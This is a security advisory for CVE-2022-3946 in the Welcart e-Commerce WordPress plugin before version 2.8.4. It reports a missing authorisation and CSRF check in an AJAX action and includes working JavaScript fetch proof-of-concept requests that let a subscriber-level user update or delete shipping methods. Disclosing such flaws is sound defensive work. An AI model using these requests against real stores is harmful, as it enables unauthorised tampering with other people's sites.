Welcart e-Commerce < 2.8.4 – Subscriber+ Arbitrary Shipping Method Creation/Update/Deletion | CVE 2022-3946

Description

The plugin does not have authorisation and CSRF in an AJAX action, allowing any logged-in user to create, update and delete shipping methods.

Proof of Concept

wp_ajax_shop_options_ajax hook calls shop_options_ajax() function without nonce and without access control

update shipping method name (#0 shipping method id) exploit:

fetch('http://localhost/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=shop_options_ajax&mode=update_delivery_method&name=UPDATE&id=0&time=&charge=-1&days=-1&nocod=0&intl=0&cool_category=0'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

The exploit requires at least a subscriber role.

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delete shipping method (#0 shipping method id) exploit:

fetch('http://localhost/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=shop_options_ajax&mode=delete_delivery_method&id=0'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

The exploit requires at least a subscriber role.